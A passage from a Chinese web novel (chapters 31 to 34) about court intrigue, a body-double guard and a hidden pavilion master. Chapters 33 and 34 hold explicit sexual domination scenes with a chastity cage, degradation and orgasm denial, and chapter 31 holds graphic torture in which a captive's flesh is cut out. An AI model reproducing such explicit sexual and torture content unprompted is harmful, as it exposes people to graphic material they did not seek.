轻飘飘的一句话有如晴天霹雳,柳孤城愕然地看着她,再次露出了那副呆愣愣得近乎可爱的表情。 “可是……不是主人……”说要我自己做那些动作的吗? 越长风眉头一挑,随手指指那一片狼藉:“哦?” 柳孤城说不下去。 支配者的意思是他的一坐一起都要遵从她的指令,但他获得的感官享受却不是属于自己。 明明是自己的身体,感官却不属于自己。 他把自己当成货物和越长风做出交易的时候,便已交出了这具身体的一切所有权。 柳孤城无从反驳。 像是早有预谋一样,越长风从桌下拿出另一个锦盒,递给他让他自己打开。 “既然柳郎无法管住自己的身体,那本宫就帮帮你好了。” 她眉眼含笑,目光中满是施舍。 “喜欢吗?” 柳孤城打开锦盒,两颊以肉眼可见的速度涨得烫红。 他,真的,很不想说。 男人的沉默换来支配者愉悦的轻笑。 “不喜欢?”她还在问。 盒子里,放着一个精金细线的鸟笼。 鸟笼不大,似乎只能放下一只脆弱无助的金丝雀。 见他还是没有反应,越长风轻轻叹了一口气:“可惜了,本宫还想着放柳郎回家选家主的时候,该怎样管住属于本宫的东西。” 她嘴角微微一扁,一双桃花眼里眸波流转,似乎为他真心感到可惜:“如果没法管住属于本宫的东西,那也没有必要让柳郎离开长公主府了,你说是不是?” 柳孤城的脸色红了又白,白了又红,愕然道:“选家主?” 越长风理所当然的点点头:“这本帐簿上不都是现任家主一系的亲信么?柳郎想让本宫把他们治罪、把左仆射大人撤职,不就是为了选家主么?” “本宫既然答应了你的交易,自会履行本宫的那部分;只是——”她歪了歪头,一脸认真的凝视着柳孤城,仿佛是发自真心的为他苦恼:“管不了柳郎的身子,本宫可放心不了让柳郎离开;柳郎一直留在这长公主府里,又该怎样去选家主呢?” “我——”柳孤城张了张嘴,看见越长风眸光变得冷凝,连忙改口:“奴。” “奴多谢主人赏赐,多谢主人管教。” 他低眉垂首,极尽驯服之意。 他借了越长风的刀来清理门户,现在必须回去接收所有成果——选上家主、正式接手柳家,还有,处理那些被拉下神坛的渣滓。 直到现在为止,他有什么屈辱是没有受过的;就算是多一只笼子,那又如何。【你现在阅读的是 】 30-40 第31章 第31章酷刑、阁主真容 轰动一时的科举枪替案终于以寒门士子的出头和世家官员的大清洗而落幕。 薛家韬光隐晦,常家透过被他们逐出家门的常茵 低头妥协,程家在经历镇北军饷案后元气大伤。 此时,御史台弹劾柳家经营地下钱庄,经查证之后虽然大量黑钱已经无从稽考,但搜得出来的还是足以让身为柳家家主的左仆射大人革职下狱。 两日后,玄武卫以地下钱庄案案情严重而御史台狱守卫不够森严为由,要求移送犯人至玄武卫诏狱。这个理由却仿佛一语成谶般,在柳家家主移送玄武卫的前一夜,御史台狱遭到神秘人纵火焚毁,关押柳家家主的牢房里只剩下一具烧了一半的焦尸,面目只有三分可辨,但这三分面目和尸体的身量形体都和柳家家主彻底吻合。 “主上恕罪。” 紫宸殿里,陆行舟面色冷峻,单膝跪在摄政长公主的檀木宝座脚下。 “哦?”越长风慵懒的往后靠在椅背之上,低头玩弄着自己修剪整齐的指甲:“陆司使有什么对不起本宫的?” “卑职早就猜到聚贤阁不会放任柳家家主落在朝廷手中。”陆行舟不急不缓,沉声说道。“谁知道他们还是趁着移交之前得手,成功把人劫走。” “劫走?”越长风把手放回膝上,目光悠悠转向地上的陆行舟。“不是灭口么?” 陆行舟仿佛思索良久才下定决心似的,深深吸了一口气:“死的不是左仆射,而是一个替身。” “卑职仔细验过,尸体可以辨认的地方虽然和左仆射极为相似,可那……根本不是一个人。” 越长风秀眉一扬,似笑非笑的看着他:“所有人都说死的是本宫那好公公,可陆司使似乎对替身一事深信不疑。” “是陆司使别具慧眼,还是陆司使知道一些什么别人不知道的?” 陆行舟目光一黯,冷冽的面容却是没有一丝变化,很好的掩藏了心中真正想法。 她不能知道柳十三这个替身暗卫的存在。 更不能知道他知道柳十三这个替身暗卫的存在。 越长风见他不语,感觉他的手又伸得有些长了,而且还有什么瞒着自己,笑意立时变得冷凝:“嗯?” 陆行舟眼帘微垂,遮住了眸光中的精厉锋芒。 电光火石之间,他现在必須作出取捨。与其让她继续怀疑下去,不如自己半真半假的先托出一半。 “组成聚贤阁的四大世家之中,那些最顶层的掌权者都有一个和本人极其相像的、足可以假乱真的替身暗卫。”他的嗓音暗哑阴沉,听不出一丝应有的心虚。“所以卑职相信,那些黑衣人不是杀人灭口,而是偷梁换柱,以替身换走正主。” 越长风皮笑肉不笑的看着他,懒洋洋的目光似乎足以把人前后贯穿。 很好,这替身暗卫的存在陆行舟很明显的早已知道,柳孤城入府那日他风尘仆仆前来劝谏,显然是在怀疑柳孤城的真正身份。 “所以,”越长风呵的一声轻笑,笑声里却没有什么笑意。“陆司使对柳四郎有这么大的偏见,是因为——” 陆行舟目无表情,仿佛不带一丝个人感情的把她的话接了下去。“因为,他本来就是柳时言的替身暗卫。” 越长风的目光如炬,还是定在座下男人身上一动不动,半晌才摇了摇头:“不是。” 或者,不全是。满口大话的小骗子只提起过自己作为耻辱过着人下人生活的那些年,就算那些是他作为替身暗卫的日子,但他余下的人生一片空白,总还有些别的什么。 “像左仆射的替身暗卫那样愿意为主上赴死,没有自己的想法和意志才是真正的暗卫本质。” “柳孤城……”她嘴角微勾,想起他便只觉兴致满满。“他太过想要柳时言拥有过的一切,又太过抗拒和柳时言扯上关系。” 他太过桀骜不驯了。披着和当年那朵世无其二的高岭之花相似至极的皮囊,内里却是一头随时反扑的狼。 越长风现在只想知道,她前脚放了柳孤城回柳家选家主,后脚便发生了老东西被偷天换日的事,小骗子在当中的角色又是什么。 ----- 极尽奢华的地下宫殿里灯火通明,墙上的水晶灯照亮了四面的丹青字画,当中几幅穷凶极恶的鸢鸟展翅图和其余娇美细致的花鸟虫鱼显得格格不入。 仙鹤交颈的糜丽屏风前,柳家家主一身破烂不堪的肮脏囚衣,身上被粗糙的麻绳五花大绑,动弹不得的在地上蜷缩成一团烂肉,和厅里一切华贵摆设格格不入。 屏风后的男人似乎心情很好,嘴里轻轻哼着江南小调,搭在太师椅靠手上的长指顺着节奏滴滴哒哒的敲着。 “多谢……阁主相救。”柳家家主在一夜之间仿佛苍老了几十年,嗓音沙哑难辨,就连呼吸也不畅顺,一副出气多入气少啲样子。 “本座相救?”阁主似乎听到了什么好笑的笑话,哈哈大笑起来,隔着屏风也似乎能看到他笑得人仰马翻的样子。 柳家家主懵懵的看着屏风的方向,不知自己是不是说错了什么,心情忐忑至极。 男人笑了一会才一下打住,慵慵懒懒的开口:“是你的替身暗卫用他的一条贱命,换了你这条千金贵命。” 阁主的声音平平淡淡的没有什么感情,听下去却是句句让人如鲠在喉。 “是……柳七的一条贱命,本来就是为了主上奉献。”柳家家主话音颤抖,战战兢兢的似乎想要顺着阁主的话往下说。“还是阁主谋略过人,才能策划这场劫狱,救了老朽一条老命。” “哦,所以你也觉得,替身暗卫的命不是命,而你的命生下来便比他们尊贵么?”阁主轻佻的笑着,仿佛毫不在意,一只手搭着靠手,另一只手里转着一把匕首。 柳家家主感到一阵毫无来由的寒气,下意识地把自己的身体蜷缩得更紧了。他实在摸不清这位阁主的意思,也不清楚他把自己救了回来为的是什么,为何还要将自己以这样屈辱的姿势绑在地上。 男人见他久久不答,不满的催促:“回答本座。” 柳家家主不知哪里来的底气,又或者只是无暇去想,答出了他这一辈子都觉得是理所当然的答案:“替身暗卫没有身份,没有人格,本来就是为了主人而存在。最终为了主人而死,这不才是用得其所么?” 阁主没有说话。他这次连笑也没有笑,手指滴滴哒哒的声音也止住了,偌大的厅中只剩下一片诡异的死寂。 “阁……阁主?” “嗯。”男人随口应了一声,在太师椅里换了一个姿势,懒洋洋的倚着一边,一只白皙修长的手支着下巴,另一只继续把玩泛着寒光的匕首。 他有意无意的把手指往匕首上轻轻一划,削铁如泥的匕首便划出了长长血痕,男人伸出舌尖舔了一下,又意犹未尽的再舔一下。 柳家家主不知他这一声嗯是为何意,心里七上八下的,却总觉得这位阁主对自己怀有不是一般的敌意。 他也的确对过阁主的命令多番忤逆,阳奉阴违、私下囤积势力,想要另起炉灶和阁主分庭抗礼;但此刻男人对自己流露出来的敌意,不是高高在上的掌权者教训不听话的下属那种,而是仿佛不得不食其肉、饮其血的那种——深入骨髓的恨。 男人在屏风后缓缓站起身来,他的身形颀长,精壮匀称,挺得笔直的腰背带着一种让人只能仰视的矜贵傲气。柳家家主看着屏风上的剪影,怎么看怎么觉得有种熟悉。 “柳家家主已经在御史台的狱中被人灭口,尸体很快便会被确认,一个死人可是再也翻生不了的。”男人在屏风后悠悠踱步,重重的脚步声一下一下打在柳家家主心头。“那么——” “活着的你,是谁?” 柳家家主脸色一青:“死了的明明是替死鬼,我是柳家家主、当朝尚书左仆射,我才是活着的那个。” “首先,你不是左仆射大人了,然后柳家正在准备重选家主,你也很快不是了。”阁主一边说着,一边举着手指似乎在凝视着自己泊泊淌血的伤口。 “然后,御史台狱的文书确认下来,你这个还活着的人就连自己也不是 了。”他的声音轻飘飘的,过往一向阴狠冷厉的阁主似乎学会了用温温柔柔的语气说出最残忍诛心的话,“没有身份,没有自我,你还会被困在这里,只有在本座心情好的时候才会让你吃一口粥、喝一口水。你余下的生命,就是为了让本座发泄,让本座从你的痛苦和堕落之中得到快慰。” “那么,你还觉得,你的命天生就是比你眼中那些低贱的人高贵的吗?” 柳家家主脸色像死人般变得灰白,只有嘴唇还在嗫嚅着,却是模糊得连自己也听不见自己在嗫嚅什么。 “本座说,回答我。”阁主不耐烦的说道。 柳家家主似乎已经无法思考,双唇又张又合的抖个不停,却是一个字也说不出来。 “唉,真不好玩。” 阁主嫌弃的叹了一口气,似乎是真的闷慌了,又忽然想到了一个解闷的方法。 他一边转着匕首,一边慢悠悠的从屏风后走了出来,姿态闲适,好整以暇。 他的目光对上脸色由灰转红,再由红转青,再由青变回灰的柳家家主;深渊一样的眸子里仿佛有一丝虚伪至极的婉惜和怜悯。 柳家家主在看见这位把自己玩弄于股掌之上的阁主真容后,急怒攻心之下终于重获了说话的能力:“你是——” 他狠狠的连续咳了十多下,连点点血丝也咳了出来。阁主微微笑着注视着垂死挣扎的柳家家主,没有任何想要帮他缓解的意思,只是在静静的等他说完下半句。 “你这贱——” 匕首一下子穿过囚衣,插在柳家家主的手臂上。然后一勾、一抽,连着囚衣、连皮带肉的剔起一大块。 柳家家主五十年来养尊处优,哪里有受过这样的酷刑,竟是一下子痛晕过去。 阁主看着剔出来的一块肉,似乎在沉思什么。 半晌,他才自言自语的呢喃道:“如果每天从你身上割一块肉下来,和柳七尸身上的一块肉交换一下再重新缝上,那么要多少天,你才会变成柳七,而柳七才会变成你呢?” 这个问题似乎太有深度,他一下子也想不出答案来,便招手呼唤门外守着的死士:“把他丢到水牢里,好好看着他,给他缝一缝别让人死了。” “本座还有疑问要靠这个老不死的解答。” 第32章 第32章柳十二、剧情 黑衣死士面无表情地把痛晕过去的柳家家主拖了下去,一直泊泊淌血的新鲜伤口在地上拖出了一条长长血痕。 阁主对那一地血肉模糊看也不看,慢吞吞的走到屏风后面重新坐下,大马金刀的坐姿不像平时的矜贵优雅,仿佛刻意不去磨擦腿间某处。 ……报复的快意实在太过上头,这些心理快感一旦下头之后身体上的不适便只会更加明显。 例如两腿之间那让人无法忽略的紧箍感。 顾锦卿推门进来时,空气里一阵刺鼻的血腥气混着袅袅木香涌入鼻中,味道之重让他禁不住打了一下喷嚏。 黑衣死士在勤勤恳恳的清理着地上血迹,看见有人进来时头也不抬,只是微微颔首,往屏风后的方向作了一个“请”的姿势。 顾锦卿掩着鼻子,愕然问:“这是……” “一个无名无姓、没有身分、无关痛痒的人罢了。”阁主的声音从屏风后传来。“锦卿,过来。” 男人的声音一如既往的清澈明亮,仿佛他和顾锦卿之间什么也没有发生过,没有一丝一毫的芥蒂。 那句“过来”却带着一种若隐若现的压迫感,顾锦卿头皮一阵发麻,咬了咬牙也换上一副若无其事的样子走到屏风后面。 阁主淡淡浅笑,目光固定在徐徐走近的顾锦卿身上。 顾锦卿在看见阁主的那一下便移不开眼睛来。明明眼前是手段残忍、唯我独尊的聚贤阁主,但他却不由自主的想起了水榭中跪着的那个人。 裸\身、无助、脆弱、卑微。 就算是相识于微时的顾锦卿,心目中的阁主也永远是掌握一切的引导者——而不是被迫把自己主动献上、任人宰割摆布的被支配者。 支配者还偏偏是他的“殷姐姐”。 “那日我不是有意……”顾锦卿眼尾微红,低着头像做错事的小孩一般,一副可怜兮兮的样子。 “嗯?”阁主眉头一挑,似笑非笑。 顾锦卿脸色一白,现在他真的宁愿自己那日什么也没有看见。 他宁愿自己从来没有告诉阁主关于资助人的事。他宁愿自己没有对阁主和盘托出自己对于资助人身份的猜想,也宁愿自己不曾对阁主流露出自己对于资助人的眷恋和依赖。 顾锦卿一脸难堪的嗫嚅:“我……我错了哥哥,我什么也没有看见。” “是吗?”阁主皮笑肉不笑的勾勾手指,待他走近身前,伸出还带着阵阵血腥味的手摸摸他的头顶:“最听话的小狗。” “想要时时刻刻跟在姐姐身边伺候、最合姐姐心意的小狗。” 平静的语气,好像在复述的是再平常不过的对话。 顾锦卿的脸一下煞白,然后又一下由白转红,红得快要滴出血来。“我……我、你……你、” 他你你我我的咕哝了好一会,才勉勉强强的辩驳:“我那时不过想为哥哥解围,才这样自卑自贱去转移长公主的注意力……” “——阿不是,我什么也不知道,阁主我什么也没有看见——” 男人的目光深邃而阴鸷,像深渊般仿佛要把顾锦卿吞噬殆尽。 顾锦卿连忙合上了喋喋不休的口。 良久,男人才收回了手,也收回了没有丝毫笑意的虚假笑容,淡漠道:“不是解围。” “你是真的喜欢她。你在吃我的醋,你希望拥有她的更多。”不是问句,而是再肯定不过的陈述。 他很清楚,因为他的内心同样有着不该的妄念,看见顾锦卿的出现是同样在阴暗滋长。 顾锦卿沉默了。他像在深思一般呆呆站着,一手抱胸一手支颐,久久没有说话。 不知过了多久,他忽然开口打破一片死寂。“那你呢?” “柳十二。” 顾锦卿一双清澈明亮的眼睛里闪着倔强的光芒,他没有尊称阁主,也没有撒着娇叫他哥哥,而是一字一顿的直呼了男人早已摒弃的、属于那个不堪的过去的名字。 柳孤城本来不叫柳孤城。他是柳家家主的耻辱,作为一个耻辱,他本来就没有名字。 暗卫营以主上的柳字为姓、编号为名,他是第十二个,便是柳十二。而这个名字在也在他脱离柳家之后如影随形的跟随着他,离开暗卫营,搬入贫民窟,成为聚贤阁的榜首枪替,以及结识了邻居家的“顾狗子”。 后来男人抓住废太子宫变事败和柳时言双双丧命的机遇,一路排除异己登上聚贤阁的唯我独尊之位,成为了第一位真正意义上独揽大权的聚贤阁主。男人在召见下属的时候都是隔着屏风,除了顾锦卿以外知道阁主身份的便只有死人,阁里的人只知阁主而不知柳十二的存在,所以他本来并不需要名字。 可是他还是给自己取了名字。柳十二和顾狗子正式成为不可说的过去;从此以后,柳孤城是掌控影子朝廷的尊主,而顾锦卿则是为了自己的邻家哥哥和恩人,走入明面上的朝堂,成为他最重要的一只棋子。 只是,这只棋子,似乎有了自己的想法。 柳孤城俊美无俦的脸此刻冰冷至极,声音也是同样寒凉:“锦卿,你逾越了。” 顾锦卿像泄气一样颓然跌坐地上,双手抱头,眼中流露出挣扎之色。 “我不明白,阁主,我不明白。”顾锦卿声音微哑,“为什么你非要入长公主府,为什么你甘心在她脚下……为奴。” “我只是感到很无力,我……我以为阁主千辛万苦爬到这个位置,是为了你的理想。” “阁主还记得你的理想,是什么吗?为什么我从你的身上,看到了这么多的矛盾?” 柳孤城沉默了。 顾锦卿的脸上是显而易见的矛盾和痛苦;柳孤城也感到一阵难受,但那是因为鸟笼实在太小,总是用拘束感来提醒他这件桎梏的存在,本来就是为了让他难受而设。 柳孤城知道顾锦卿的一番肺腑之言句句出自真心,他也自然从未忘记自己的理想。 他这十多年来攀过尸山、走过血海,不要命的往上爬,不择手段的巩固权力,看似是为了至高无上的阁主地位,却只有顾锦卿和他自 己知道他真正的最终目的。 那是他还是柳十二时便对于这个世界的“理想”。他们作为社会最底层的贱民,都对人与人之间的不公而不甘,对这个世道遍地的不义而不忿。只是柳孤城的看法更加愤世嫉俗,而顾锦卿的看法更加乐观憧憬。 虽然对这个世道的看法不同,但柳孤城知道顾锦卿从未忘记他们的理想。为了报那一份恩情,他继续留在聚贤阁为自己卖命,也为自己去考科举、入朝堂,欲以他的方法为自己实现这个天马行空、惊世骇俗至极的“理想”。 只是他们因为一个女子而走到了今天这个尴尬的田地。 “锦卿,”柳孤城坚定却温柔的看着面前自己一直视若亲弟的人,“我觉得,充满矛盾的,其实是你吧。” “我以身入局进入长公主府,让你有了被背叛的感觉,但是你信也好不信也罢,我很清楚知道自己在做什么。” “你之所以感到被背叛,其实是源于自弃,你对自己沉沦在昭阳的情海之中感到愤怒而无力,充满矛盾的其实是锦卿你自己。” “因为,”柳孤城轻飘飘的笑笑,再次说道:“你是真的喜欢上了她。你已经不知道自己想要的是实现我们的理想天下,还是做她脚下驯化的小狗,守护她的至高皇权。” “不,阁主是锦卿的恩人,没有阁主根本就不会有顾锦卿这个人。”顾锦卿连连摇头,小狗眼睛可怜兮兮的看着他的阁主和哥哥:“我绝对不会背叛阁主。” “那本座就为你做这个决定好了。”仿佛对顾锦卿的澄清和恳求置若罔闻,柳孤城轻轻淡淡的宣布:“从今以后,你不再是聚贤阁的人,也无需再向本座交代。” “你我就此——兄弟爬山,各自努力。” 第33章 第33章放柳郎回家几日,柳郎便…… 顾锦卿一脸的受伤和错愕:“阁主这是要……赶我走?” 柳孤城平静的看着他:“是帮你做选择。” “毕竟,情义两难全,不是吗?” “那你呢?”顾锦卿不甘反问。“你愿意被她这样……折辱,就只是为了借她之力来达到你最终的‘理想’?” 柳孤城叹了一口气。“锦卿,我想要的,和你不同。” 他既不想要那些主人小狗的微末垂怜,也不想要为她守护这个不公不义制度和腐朽入骨的世道。 他这人和单纯善良的顾锦卿不同,他既疯狂又偏执,是一头无法驯化的恶狼。 那就毁灭吧,一起。 顾锦卿还想说些什么,这时外面的黑衣死士敲了敲屏风。 “阁主,长公主府的车驾出来了,正在往柳府的方向而去。” 柳孤城几乎是一下弹了起来。 这一蹉磨之下腿间更是疼得厉害,让他不禁倒抽一口凉气。 他看也不敢看顾锦卿那疑惑之中夹杂着似懂非懂的眼神,迳自往外走去:“本座还有要事,锦卿好走不送。” 顾锦卿呆呆地看着潇洒离去的背影,心里的疑惑不减反增。 他曾经以为,在柳孤城最终的“理想”世界里,柳孤城和长公主会不死不休。而不是裸呈着匍匐在她脚下,接受她的严苛管教。 今天他也见识到了,柳孤城对于越长风的一举一动了如指掌,他的暗桩一直伸到长公主府里,聚贤阁的力量在经他化整为零之后是那样的强大。那么他为什么还要卑躬屈膝的入长公主府?在他心中是真的有全盘计划,还是为了别的原因,甚至是要与自己分享自己的殷姐姐…… 顾锦卿急切的想要问他,他们想要的到底有什么不同。 只是不知道那个曾经对他最好的邻家哥哥还会不会为他解惑了。 ----- 柳孤城前脚回到柳府,长公主府的车驾后脚便到。 正厅里已经挂上了白幡,大大的“奠”字悬在中央,“家主”的尸身还在御史台狱,但整个柳府已经是一片死气沉沉之色。 越长风记得上一次柳府大举丧葬,还是在八年前为了他们的少家主。 作为深爱着柳时言的未亡人,那时的她哭得泣不成声,好不凄凉,连丧礼也不能好好主持。柳家家主白发人送黑发人,还不得不倒过来安慰这位弱柳扶风的菟丝花媳妇。 如今祭奠的却成了柳家家主本人,而一身缟素站在大大的“奠”字前面的,反而是和柳时言有五分相似的俊美无俦男人。 见她进来,柳孤城深深一鞠,不卑不亢的问:“不知长公主殿下造访柳府,所为何事?” 越长风的目光有如寒凉的刀,直直凝视着他,声音淡淡的却让人不寒而栗:“本宫放柳郎回家几日,柳郎便忘了规矩了?” 颀长的身躯剧烈一震,男人的脸色一下刷白,骄傲的膝盖几乎是下意识的屈了下去。 “见……见过主人。” 越长风一脸婉惜的叹了一口气:“笼中的金丝雀在外面飞了一圈便以为自己是天上翱翔的雄鹰,那是笼子不够小之过。” 一口一句笼子雀鸟,明显意有所指。 再小一点的话……柳孤城下意识的捂住裆部。 越长风对他的反应满意极了,大发慈悲的摆摆手让他起来:“这里人多嘴杂,回你的院子里去。” 柳孤城重新站起身来,这一站又重新成为了矜贵而威仪的未来家主。他默默走在前头左弯右拐的,最终停在了一座熟悉的院落前。 那是,曾经属于柳时言的院子。 院中的一草一木没有丝毫动过的痕迹,彷佛就连吸入的每一口空气都还留有属于柳时言的味道。 屋子里的案榻摆设和越长风记忆之中没有一点分别,她还认得当中有哪些是有自己的手笔,例如书案上方那幅山水图上的鸢鸟是她亲手所加,床边的立身镜是她为了让柳时言看自己被她挑逗得欲求不满的样子而置。屋子里满满都是她的痕迹——或者是说八年前的她和驸马恩爱过的痕迹——而那些痕迹直到现在还是纹丝未动。 就像……自从柳时言死后,整座宅院一直被原封不动的保存,反而居于其中的柳孤城不过是没有灵魂的行尸走肉,没有属于他自己的一丝生人气息,留不下代表他个人身分的任何证据。 她想起了陆行舟所说的,关于柳家替身暗卫的事。柳孤城不只是柳家家主当作大儿子的替代品送给她的东西,他曾经被送进暗卫营经历残酷的训练和改造,为的就是成为和柳时言一般无二的替身,然后为他去死。 越长风坐在她曾经和柳时言嬉戏玩闹无数次的软榻上,看着面前呆呆站着的柳孤城,手足无措的样子和永远都是一副温润谦和面具的柳时言不同,显现了他没有被彻底改造完成的事实。 她忽然发现,自己那些想要玩弄、染污、毁坏的欲望,或许并不是对着脑海里的柳时言,而是对着面前这个真真切切的柳孤城。 一只和长年完美无瑕地伪装自己的柳时言不同的,破绽百出偶露獠牙却又隐隐透着可爱的狼。 “怎么?”越长风上上下下的打量着她的“宠物狼”,皮笑肉不笑的道:“换了一个地方,就不知道该怎么做了?” “是,主人。”柳孤城条件反射式的说了出口,才觉语境不对,又连忙更正:“对不起,主人。” 看着桀骜不驯的狼假作顺服的跪在面前,越长风还不满意,冷漠道:“奴身上可以穿着不属于主人的衣服么?” 柳孤城低下头去,微微颤抖的手开始解着身上的麻衣素服。 男人身上的“规矩”在回柳家之前已经暂准被卸下,越长风 目光冰冷的看着他稍嫌平淡的上身,直到他褪下裤子,金光闪闪的笼子探出头来。 “停。” 笼子的金光弹了一弹。 越长风俯身,用指尖敲敲笼子的金线。“现在柳郎记得这是谁的东西了吗?” “这是主人的东西。”柳孤城抬起头来,深潭一样的眼眸深处似有点点火光。 “答得很快嘛。”越长风收回手,上身懒懒后仰。“想要本宫把它解开吗?” 柳孤城沉吟半晌。 “主人想要怎样对奴都可以。”他轻轻说道。 越长风也有一些意外:“这么乖?” 柳孤城点了点头,一双眸子定定的看着她,还真是乖得不得了。 越长风不介意对表面听话的狗赐予一些慈悲。她打开笼子的锁,释放了里面可怜兮兮的金丝雀,用鞋尖在上面散漫的点了两下。 男人止不住嘴角溢出的一声低吟,声音颤抖不已。 越长风被那一下不加掩饰的叫声弄得心弦微动,笑骂:“本宫的东西,怎么不经允许又在发×了。” 然后把脚微微抬高,伸到他的面前:“给本宫除鞋脱袜。” “转过身去,塌腰献臀,好好撅著。” 越长风冷眼看着柳孤城背对自己翘起下臀,骄傲的头颅贴在地上,顺服的送上她最喜欢占有的脆弱部位。 她满意的伸脚一踹,缓缓挑拨取乐,感受着男人下意识对足趾的伺候。 “口是心非的小骗子。” 玉足收了收,然后脚腕一抬,又往前伸了伸,一直乐此不疲的重复。 “主人……”柳孤城声音沙哑,似羞似怒,不敢透露一丝抗拒,只能让自己显得可怜巴巴。 俊美的男人无助地匍匐著,双颊酡红,杏眸失焦,薄唇微张着吐出一截嫩红的软舌,沉浸在難堪和快慰的割裂之中。 看着早前还是一身素雅、清贵高洁的待任家主如今酥酥软软的瘫在地上,听着厚重的鼻息此起彼落,越长风随意把脚搁在男人光滑的大腿上,然后从怀里掏出一只精致的锦盒,正是柳孤城在书房里亲自开过的那一只。 她抬脚轻轻一踢,命令道:“转过来。” 熟悉的玉器被抵在柳孤城的下唇:“柳郎知道该怎么做。” 唇上感受到暖玉的温度,柳孤城脸色涨红,眸中水光粼粼,那是不属于柳时言那张脸的、独属于柳孤城这个人的、让人不楚心生怜惜的破碎感。 柳孤城知道该怎么做。他的神情专注,红润薄唇轻启,舌尖探出,舔上了暖玉的细端。 越长风挑眉看着男人对着死物温柔小意的动作,似笑非笑的问:“好吃么?” 柳孤城羞耻得眼尾泛红,没有回话。 “嗯?”越长风嗤笑一声,玉器抽出。 柳孤城听出了话音中冷酷残忍的警告,那些现在没有上着金链的部位也下意识的一颤,连忙回道:“好吃,多谢主人。” 玉足在脚下大腿上蹭了蹭,越长风用两指把玉器圈住,轻蔑道:“脸过来。” 待男人完美无瑕的脸自轻自贱的凑上暖玉,越长风“呵”的一声,笑得恶劣。 “狗脸痒不痒?” 柳孤城一下呆住,大概是自己那张脚还没被人叫过狗脸,一时之间反应不过来。 “不——” “痒”字还未出口,玉器已经啪的一声甩在脸上。 “本宫有允许你说不么?”支配者的声音没有一丝温度。 柳孤城只有改口的一个选择:“是,主人。” 玉器一下一下的抽在脸上,没一会儿便被抽得又红又烫,柳孤城身上没有一条条的“规矩”,也没有了笼子的桎梏,却感觉比之前几次管教还要羞辱,但他不能反抗也不敢嘴硬,只能仰着一张俊脸任由支配者和手中玉器肆意横行。 男人强自忍耐的模样实在惹人怜爱,饶是越长风没有什么同情心的一个人也不禁心弦微动,玉指挑起男人的下巴,面色是那副施舍的温柔。 “柳郎疼不疼?”她的声音里似乎带了一丝温情,只是那双多情的桃花眼里却没有什么真情实意,毫不掩饰的轻蔑深谙无情。 第34章 第34章求你准许奴…… 柳孤城轻轻摇摇头,“不……不疼。” “多谢主人。” 他也算是摸出了些支配者的脾性,她不接受顺从和感谢以外的回应,他也不是真正的娇贵公子,若是言不由衷的说疼,他怕是真的会被毫不留情的抽烂。 不管越长风想怎么玩他,他都只能甘之如饴的受着。 “乖。”越长风夸赞他一句,爱抚的摸摸他红红的脸颊,仿若逗弄一只爱宠一般。 柳孤城平静深邃的眼眸有些迷蒙,微红的脸颊轻轻蹭蹭她的手心。越长风好似被他这乖巧模样勾得心驰神往,双手抱起男人直接扔到了床上。 男人浑身发颤,感受着身后被支配者玉手摸过留下的微凉触感,咬着唇并紧了一双线条优美的长腿。 越长风冷眼看着,就知道这口不对心的小骗子动了情,踢踢他的两腿中心,“上床自己抱着腿,保持姿势別动,本宫要使用你。” 听见那羞辱意味十足的命令柳孤城又是一呆,自己好似只是一件供支配者发泄的物件,微贱到了尘埃里。 “嗯?”越长风的声音轻轻柔柔的,也没有什么催促的意思,听在被支配者的耳中却像地狱而来的索命之音。 柳孤城以最难堪的姿势,将自己的脆弱一面毫无保留的展示在主人面前。 他还不得不回话:“是,主人。” 越长风被他屈服的样子取悦到,脸上露出那副施舍的表情,暖玉前后左右的打着圈儿,另一手也不落下功夫,不遗余力的工作着。舒服与不适的割裂感撕扯着他的感官,柳孤城红着眼睛,高挑颀长的身子此刻软弱无力的颤抖着。 越长风手下动作不停,散漫的笑:“柳郎想要什么,求我。” 明明是她要使用他,被当作物件使用的人却还要亲口说出低贱求欢的话。 柳孤城想起了昭庆宫的那一晚。他给自己下了重药,一次又一次的求她帮他。大概是从那时起,便奠定了两人之间只能由她在上,而他只能乖顺雌服。 “求你……主人。” “求本宫什么?” “求主人慈悲。” 越长风一脸不解:“本宫该怎样慈悲?” 柳孤城阖上眼睛。 “求主人赐奴……宝具。” 越长风轻蔑的哼笑。“不愧是回来选家主的人,连遣词造句都透著文人风骨。” 柳孤城听出了她话中讽刺,知道她还嫌自己说的话不够低贱,不够符合自己在她面前为奴的身分。 他咬咬唇,呢喃道:“求主人……奴。” 玉器在他最痛的地方毫不留情地落下责打。 “大声点。” “求主人用奴。” 越长风心情愉悦,淡聲命令:“抱紧了,睁开眼睛好好看着本宫用你。” 柳孤城羽睫輕顫,緩緩睜眼,一向平靜無波的眼眸深處烈火灼然,卻不知是出於慾望還是羞憤。 越长风久经沙场,她知道如何纵马驰骋,又知道如何掌控人心和感官,男人骄傲的脖颈高高昂起,肌理分明的小腹微微抽搐,整个身子颤巍巍的,双唇紧抿强迫自己不去发出自己不愿发出那些声音。 直到看见男人双目迷离,抖了一抖,她毫无预警的停下所有动作。 从云端掉落泥泞的感觉让柳孤城长长的呼了一口气,似痛似怨的惊呼出声,涎液控制不住的从嘴角流下,桀骜不驯的恶狼无法保持高贵冷傲的伪装,也无法露出獠牙反咬主人,模样可怜极了。 “柳郎是不是忘了什么?”支配者俯身在他耳边柔声轻问。 登山者几经辛苦快要攀至顶峰的时候重重坠落,柳孤城的脑海里一片浑沌,根本无法好好思考。 “奴不知道……” 越长风叹了一口气,像是真心为他感到可惜。“本宫说过,柳郎管不住自己的感官,本宫就只能帮你……” 她一边说着,一边拿起了方才自解开便随手放在一旁的金丝笼子。 顺着她的视线看到精巧细致的小金笼,柳孤城犹如吃了一记当头棒喝,幡然醒悟。 他的每一次“犯错”,就算在事后“认错”和“请罪”,都不会得到支配者的宽容。越长风只会一脸怜悯的看着他,然后以比本来还要残酷无情的手段让他记住下次再犯时自己将要面对的是怎样的后果。 即使,那些所谓的“错误”本来就是人之常情,之所以成为错误不过是因为支配者的兴之所至,喜欢剥削和订立规矩罢了。 上一次对于他无法遏止身体感官的错,她的惩罚是金丝笼子。 这一次,她却在他还没有犯下同样的的大错时便止住了自己的动作,给了他一个防止犯错的机会。 处于上位的女郎眼神祥和,彷佛慈悲为怀的世外高人。 而柳孤城惊讶的发现,自己竟然会为了她对自己“悬崖勒马”的“提醒”而感到一种诡异至极的感激。 明明是她亵玩自己,然后又强行掐断了属于自己的感官反应。 可是那个笼子已经快要把他逼疯。为了不再接受笼子的惩罚,他什么也可以去说,什么也可以去做。 “主人,求求你。”柳孤城彻底地放下尊严,放下人格,为了本来就长在自己身上、但此刻却不由自主的感官而没有任何底气的向女郎求恳。“求你准许奴……” 